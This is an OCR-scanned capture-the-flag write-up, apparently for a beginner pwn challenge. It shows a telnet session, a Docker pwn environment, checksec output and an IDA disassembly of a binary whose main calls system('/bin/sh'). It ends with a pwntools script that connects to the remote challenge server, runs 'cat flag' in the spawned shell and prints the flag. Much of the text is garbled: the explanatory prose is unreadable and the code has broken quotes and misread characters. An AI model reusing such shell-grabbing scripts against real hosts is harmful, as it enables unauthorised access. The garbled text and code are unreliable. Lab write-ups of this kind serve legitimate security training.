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K JON ) %' mac126 — telnet 111.198.29.45 52776 — 80x24

~ — telnet 111.198.29.45 52776 E
B

Last login: Thu Dec 19 14:26:02 on console

You have new mail.

[mac126deMacBook-Air:~ oyf$ telnet 111.198.29.45 52776 ]
Trying 111.198.29.45...

Connected to 111.198.29.45.

Escape character is '~]'.
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Ptk R ~Mac OSX, %% T docker

[ XeXe) About Docker Desktop

-" docker desktop

community

Version 2.1.0.5 (40693)

Channel stable

A~ Engine: 19.03.5 O Notary: 0.6.1
(41 Compose: 1.24.1 B Credential Helper: 0.6.3
Kubernetes: v1.14.8 @B Machine: 0.16.2
Release Notes Acknowledgments License agreement

Copyright ® 2016-2019 Docker Inc. All Rights Reserved.
Docker and the Docker logo are trademarks of Docker Inc. registered in the U.S. and other countries.
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macl26deMacBook-Air:pwn oyf$ sh ./startpwn.sh
4d80cc020b4cb2cd8562055F39ec6e269196531acfadd66516c1329476371312
macl26deMacBook-Air:pwn oyf$ cat startpwn.sh

#!/bin/bash

docker run -d --rm -h mypwn --name mypwn -v $(pwd):/ctf/work -p 23946:23946 --cap-add=SYS_PTRACE skysider/p

macl26deMacBook-Air:pwn oyf$ docker exec -it mypwn /bin/bash
root@mypwn:/ctf/work#

A1 docker B TH T 2% B B4



root@mypwn:/ctf/work# wget https://adworld.xctf.org.cn/media/task/attachments/7e7c72f773194643bd441791c1828
--2019-12-19 07:03:58-- https://adworld.xctf.org.cn/media/task/attachments/7e7c72f773194643bd441791c182884
Resolving adworld.xctf.org.cn (adworld.xctf.org.cn)... 47.75.4.208

Connecting to adworld.xctf.org.cn (adworld.xctf.org.cn)|47.75.4.208|:443... connected.

HTTP request sent, awaiting response... 200 OK

Length: 8656 (8.5K) [application/octet-stream]

Saving to: €7e7c¢72f773194643bd441791c182884¢’

7e7c721t773194643bd441791c182884¢e 100%[ S==============SSS=S==S=S=S====S

2019-12-19 07:03:58 (4.39 MB/s) - €7e7c72f773194643bd441791c182884e’ saved [8656/8656]

root@mypwn:/ctf/work#

%t A dockerH $2 4 i linuxfR 7 HL %I 2 T B checkseci# 1T R P &

root@mypwn: /ctf/work# checksec 7e7c72f773194643bd441791c182884e
[*] '/ctf/work/7e7c72f773194643bd441791c182884e"

Arch: amd64-64-1little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

RINEE: No PIE (©x400000)

T B OR3P DL R AR T LA S5

DEP(NX) A st 047 4% b i $cdfg
RELRO XM AH m K N
1.Partial RELRO GOTEAR A 5
2.Full RELRO GOT# R i
ASLR(PIE BENLAL & 451 A ik
stack %t H R

RJEBATTITidadt 47/ B B e i, 20 Hr— T ARRY



ey By iy B B ) o @O ok o et

IDA - 7e7¢c72f773194643bd441791c182884e /Users/mac126/pwn/7e7c72f773194643bd441791c182884e
Fo & wm X Pp [ | Nodebugger

Library function Jll Regular function [l Instruction Data Unexplored External symbol

[#] Functions window = ] x I8 IDA View-A @[O0  Hex View-1 )
B .text:0000000000400566

Function name .text: 00566 ; SUBROUTINE

[F] _init_proc

[#] sub_400420

_puts

_system

[F] __libc_start_main
[F] _gmon_start__

[F] _start
deregister_tm_clones
register_tm_clones
[#] _do_global_dtors_aux
[#] frame_dummy

main

__libc_csu_init

[F] _libc_csu_fini

[F] _term_proc

[#] puts

system
_libc_start_main

Output window

B o @t

.text:0000000000400566 !

.text:0000000000400566
.text:0000000000400566
.text:0000000000400566
.text:0000000000400566
.text:0000000000400566
.text:0000000000400566
.text:0000000000400566
.text:0000000000400567
.text:000000000040056A
.text:000000000040056F
.text:0000000000400574
.text:0000000000400579
.text:000000000040057E
.text:0000000000400583
.text:0000000000400588
.text:0000000000400589
.text:0000000000400589
.text:0000000000400589
ext:0000000000400589

400589

Structures

Jea|

; Attributes: bp-based frame

; int __cdecl main(int argc,

ublic main

main proc near

; __unwind {

; DATA XREF:

const char **argv, const char *renvp)

start+lDTo

"OK,this time we will get a shell."

tr

.text: ;
.text:000000000040058A

.text:0000000000400590
.text: 400590

push  rbp
mov rbp, rsp
mov edi, offset s
call _puts
mov edi, offset command ; "/bin/sh"
mov eax, 0
call system
mov eax, 0
pop rbp
retn
; } // starts at 400566
main endp
align 10h

.text:0000000000400590
.text:0000000000400590
.text:0000000000400590
.text:0000000000400590
.text:0000000000400590
.text:0000000000400590
.text:0000000000400590
.text:0000000000400592
.text:0000000000400594
.text:0000000000400597
.text:0000000000400599
.text:000000000040059B
.text:00000000004005A2
.text:00000000004005A3
.text:00000000004005AA
.text:00000000004005AB
ext:00000000004005AE
.text:00000000004005B1
.text:00000000004005B4
.text:00000000004005B8
.text:00000000004005BC
.text:00000000004005C1
.text:00000000004005C4
.text:00000000004005C6
.text:00000000004005C8
.text:00000000004005D0
.text:00000000004005D0
.text:00000000004005D0
.text:00000000004005D3
.text:00000000004005D6
.text:00000000004005D9
.text:00000000004005DD
.text:00000000004005E1
.text:00000000004005E4
.text:00000000004005E6
.text:00000000004005E6
.text:00000000004005E6
.text:00000000004005EA
.text:00000000004005EB
.text:00000000004005EC
.text:00000000004005EE
.text:00000000004005F0
.text:00000000004005F2
.text:00000000004005F4

; SUB

ROUTINE

; void _libc_csu_init(void)
ublic _ libc_csu_init

__libc_csu_init proc near

7 __unwind {
push
push
mov
push
push
lea
push

loc_4005D0:

inz

loc_4005E6:
add
pop
pop
pop
pop
pop

pop
retn

start+l6To

; DATA XREF:
rl5

rl4

risd, edi

rl3

rl2

rl2, _ frame dummy init_array entry

rbp

rbp, _ do_global_dtors_aux_fini_array entry
rbx

rl4, rsi

rl3, rdx

rbp, rl2

rsp, 8

rbp, 3

_init_proc

Tbp, rbp

short loc_4005E6

ebx, ebx

dword ptr [rax+rax+00000000h]

; CODE XREF:
rdx, rl3
rsi, rld
edi, risd
qword ptr [rl2+rbx*8]
rbx, 1
rbx, rbp
short loc_4005D0

; CODE XREF:
rsp, 8
rbx

libc csu init+5447

libc csu init+341j

Enums

00000566 0000000000400566: main (Synchronized with Hex View-1)

1on inrormation nas peen Z
The initial autoanalysis has been finished.

Python

AU: idle Down

REFEHCES

int _ cdecl main(int argc, const char **argv,

Disk: 14GB

puts("OK,this time we will get a shell.");

system("/bin/sh");

return 0;
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#!python
#!/usr/bin/env python
# coding=utf-8

from pwn import *

p = process('./7e7c72f773194643bd441791c182884e")
#p = remote('111.198.29.45',52776)

p.sendlineafter('OK,this time we will get a shell.', ‘'cat flag')
p.interactive()

SR

root@mypwn:/ctf/work/python# 1ls

7€7c¢72f773194643bd441791c182884e getshell.py
root@mypwn:/ctf/work/python# python getshell.py

[+] Starting local process './7e7c72f773194643bd441791c182884e': pid 56
[*] Switching to interactive mode

cat: flag: No such file or directory
$ 1s

7e7c721773194643bd441791c182884e getshell.py
$

BATHTULEBIEA W, 3R15 T shell, BagfMet— THM, EkSH EEEET

#!python
#!/usr/bin/env python
# coding=utf-8

from pwn import *

# p = process('./7e7c¢72f773194643bd441791c182884e")
p = remote('111.198.29.45"',52776)

p.sendlineafter('OK,this time we will get a shell.', 'cat flag')
p.interactive()

ZRuWTF:



root@mypwn:/ctf/work/python# python getshell.py
[+] Opening connection to 111.198.29.45 on port 52776: Done
Traceback (most recent call last):

File "getshell.py", line 10, in <module>

p.sendlineafter('OK,this time we will get a shell.', ‘'cat flag')

File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.

res = self.recvuntil(delim, timeout)
File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube
res = self.recv(timeout=self.timeout)

File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.

return self._recv(numb, timeout) or

File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.

if not self.buffer and not self._ fillbuffer(timeout):
File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube
data = self.recv_raw(self.buffer.get fill size())

File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/sock.

data = self.sock.recv(numb, *a)

KeyboardInterrupt
[*] Closed connection to 111.198.29.45 port 52776

py",

Py,

Py

Py,

Py,

Py,

line

line

line

line

line

line

747, in sendlineafter

305, in recvuntil

78, in recv

156, in _recv

126, in _fillbuffer

37, in recv_raw
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#!python
#!/usr/bin/env python

#

coding=utf-8

from pwn import *

#
p

#

p.
p.

p = process('./7e7c¢72f773194643bd441791c182884e")
= remote('111.198.29.45',52776)

p.sendlineafter('OK,this time we will get a shell.', 'cat flag'

sendline('cat flag')
interactive()

RRRAHEREZERE®S, SRUT:

root@mypwn: /ctf/work/python# python getshell.py
[+] Opening connection to 111.198.29.45 on port 52776: Done

[*

] Switching to interactive mode

cyberpeace{8cl6e@eabfd8d8b21d64b0d2c5f3d1bf}

$
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